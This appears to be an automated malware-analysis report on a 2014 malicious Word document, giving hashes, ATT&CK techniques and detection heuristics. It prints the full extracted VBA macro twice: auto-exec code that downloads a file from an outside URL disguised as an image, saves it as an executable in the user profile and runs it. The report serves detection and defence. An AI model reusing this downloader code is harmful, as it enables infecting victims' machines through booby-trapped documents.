Office (OLE) malware analysis — malicious · b32fcc8c27b496a2

MALICIOUS

Office (OLE)

29.5 KB Created: 2014-06-09 17:38:00 Authoring application: Microsoft Office Word First seen: 2014-07-06

MD5: 5bb9688bb7b4bf236485fc94991363b6 SHA-1: 5568fb5e6587f1ade1ab76fa4a6d36e87f35f6e9 SHA-256: b32fcc8c27b496a2c86f1f6cc72facdfdbf27ae1a2b39f4cb1c6a4cc168ba462

274 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro executes a function that downloads a file from 'http://carhiresoft.com/img/calc.png' and saves it as 'the embedded link' in the user's profile directory. This downloaded file is then executed using the Shell function, indicating a downloader or dropper functionality.

Heuristics 11

ClamAV: Doc.Macro.GenericHeuristic-5931846-4 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Macro.GenericHeuristic-5931846-4
VBA macros detected medium 7 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    RRSNFVXRLLM = Shell(CMYATDWOVAO, 1)
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
    Set TPOORILDSDL = CreateObject("Microsoft.XmlHttp")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub Auto_Open()
```
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Matched line in script
```
    GRPGFHKOSHI "http://carhiresoft.com/img/calc.png", Environ("USERPROFILE") & "\useradmin.com"
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://carhiresoft.com/img/calc.png In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1288 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1288 bytes
SHA-256: `f5c07f7f367860b04e7187124e033da051a1bff54d3a90a41e7b5e2576a0b19d`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub Auto_Open() YVFDXNTOHWT End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub Function GRPGFHKOSHI(ByVal SVBUWHUNJWT As String, ByVal CMYATDWOVAO As String) As Boolean Dim TPOORILDSDL As Object, VGNOIZXJPBH As Long, MOCHEOHRDMH As Long, EBLGIQMBFDP() As Byte Set TPOORILDSDL = CreateObject("Microsoft.XmlHttp") TPOORILDSDL.Open "GET", SVBUWHUNJWT, False TPOORILDSDL.Send "123" Do While TPOORILDSDL.readyState <> 4 DoEvents Loop EBLGIQMBFDP = TPOORILDSDL.responseBody MOCHEOHRDMH = FreeFile If Dir(CMYATDWOVAO) <> "" Then Kill CMYATDWOVAO Open CMYATDWOVAO For Binary As #MOCHEOHRDMH Put #MOCHEOHRDMH, , EBLGIQMBFDP Close #MOCHEOHRDMH Dim RRSNFVXRLLM RRSNFVXRLLM = Shell(CMYATDWOVAO, 1) Set TPOORILDSDL = Nothing End Function Sub YVFDXNTOHWT() GRPGFHKOSHI "http://carhiresoft.com/img/calc.png", Environ("USERPROFILE") & "\useradmin.com" End Sub

SHA-256: f5c07f7f367860b04e7187124e033da051a1bff54d3a90a41e7b5e2576a0b19d

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
YVFDXNTOHWT
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Function GRPGFHKOSHI(ByVal SVBUWHUNJWT As String, ByVal CMYATDWOVAO As String) As Boolean
     Dim TPOORILDSDL As Object, VGNOIZXJPBH As Long, MOCHEOHRDMH As Long, EBLGIQMBFDP() As Byte

    Set TPOORILDSDL = CreateObject("Microsoft.XmlHttp")
    TPOORILDSDL.Open "GET", SVBUWHUNJWT, False
    TPOORILDSDL.Send "123"

    Do While TPOORILDSDL.readyState <> 4
    DoEvents
    Loop

    EBLGIQMBFDP = TPOORILDSDL.responseBody

    MOCHEOHRDMH = FreeFile
    If Dir(CMYATDWOVAO) <> "" Then Kill CMYATDWOVAO
    Open CMYATDWOVAO For Binary As #MOCHEOHRDMH
    Put #MOCHEOHRDMH, , EBLGIQMBFDP
    Close #MOCHEOHRDMH
    
    Dim RRSNFVXRLLM
    RRSNFVXRLLM = Shell(CMYATDWOVAO, 1)

    Set TPOORILDSDL = Nothing
     
End Function
Sub YVFDXNTOHWT()
    GRPGFHKOSHI "http://carhiresoft.com/img/calc.png", Environ("USERPROFILE") & "\useradmin.com"
End Sub

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